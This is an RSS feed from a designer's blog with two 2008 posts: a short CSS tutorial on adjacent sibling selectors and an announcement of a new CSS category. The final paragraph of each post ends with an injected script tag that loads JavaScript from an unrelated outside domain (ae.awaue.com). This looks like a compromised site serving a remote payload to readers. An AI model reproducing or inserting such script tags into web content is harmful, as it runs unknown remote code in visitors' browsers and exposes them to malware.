<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>t-roy.net* &#187; CSS</title>
	<atom:link href="http://www.t-roy.net/category/css/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.t-roy.net</link>
	<description>blog by designer troy ginbey</description>
	<lastBuildDate>Sat, 13 Jun 2009 14:05:33 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Making the first paragraph bold with CSS</title>
		<link>http://www.t-roy.net/2008/09/28/making-the-first-paragraph-bold-with-css/</link>
		<comments>http://www.t-roy.net/2008/09/28/making-the-first-paragraph-bold-with-css/#comments</comments>
		<pubDate>Sun, 28 Sep 2008 14:27:39 +0000</pubDate>
		<dc:creator>T-roy</dc:creator>
				<category><![CDATA[CSS]]></category>
		<category><![CDATA[Adjacent Siblings]]></category>
		<category><![CDATA[Selectors]]></category>

		<guid isPermaLink="false">http://www.t-roy.net/?p=29</guid>
		<description><![CDATA[With CSS, it&#8217;s possible to make the first element after another element look different to the rest. Lets say you have a title, and two paragraphs afterwards e.g.:
&#60;h3&#62;My Paragraph Title&#60;/h3&#62;
&#60;p&#62;This is paragraph one.&#60;/p&#62;
&#60;p&#62;This is paragraph two.&#60;/p&#62;
To make the first paragraph after the title bold, you use what&#8217;s called an &#8216;adjacent sibling selector&#8216;. This allows you [...]]]></description>
			<content:encoded><![CDATA[<p>With CSS, it&#8217;s possible to make the first element after another element look different to the rest. Lets say you have a title, and two paragraphs afterwards e.g.:</p>
<p><code>&lt;h3&gt;My Paragraph Title&lt;/h3&gt;<br />
&lt;p&gt;This is paragraph one.&lt;/p&gt;<br />
&lt;p&gt;This is paragraph two.&lt;/p&gt;</code></p>
<p>To make the first paragraph after the title bold, you use what&#8217;s called an &#8216;<strong>adjacent sibling selector</strong>&#8216;. This allows you to target an element which follows another element. In this case, the first <strong>p</strong> element follows an <strong>h3</strong> element. To use CSS to say that you want the first <strong>p</strong> tag after an <strong>h3</strong> tag to be set in bold, your code would look like this:</p>
<p><code><br />
h3 + p {font-weight: bold;}<br />
</code></p>
<p>Now each time a <strong>p</strong> tag follows an <strong>h3</strong> tag&#8230; it is set to bold. Nice.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.t-roy.net/2008/09/28/making-the-first-paragraph-bold-with-css/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>New CSS category</title>
		<link>http://www.t-roy.net/2008/09/28/new-css-category/</link>
		<comments>http://www.t-roy.net/2008/09/28/new-css-category/#comments</comments>
		<pubDate>Sun, 28 Sep 2008 13:59:59 +0000</pubDate>
		<dc:creator>T-roy</dc:creator>
				<category><![CDATA[CSS]]></category>
		<category><![CDATA[Design]]></category>
		<category><![CDATA[Web Standards]]></category>

		<guid isPermaLink="false">http://www.t-roy.net/?p=27</guid>
		<description><![CDATA[I&#8217;ve decided to add a new category to my blog &#8211; CSS. It&#8217;s been a topic I&#8217;ve wanted to write about for a while now, only if to learn a thing or two along the way. I&#8217;m going to cover all things to do with CSS &#8211; from Learning CSS, CSS techniques, Browser hacks and [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve decided to add a new category to my blog &#8211; CSS. It&#8217;s been a topic I&#8217;ve wanted to write about for a while now, only if to learn a thing or two along the way. I&#8217;m going to cover all things to do with CSS &#8211; from <strong>Learning CSS</strong>, <strong>CSS techniques</strong>, <strong>Browser hacks</strong> and <strong>CSS best practices</strong>.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.t-roy.net/2008/09/28/new-css-category/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
   

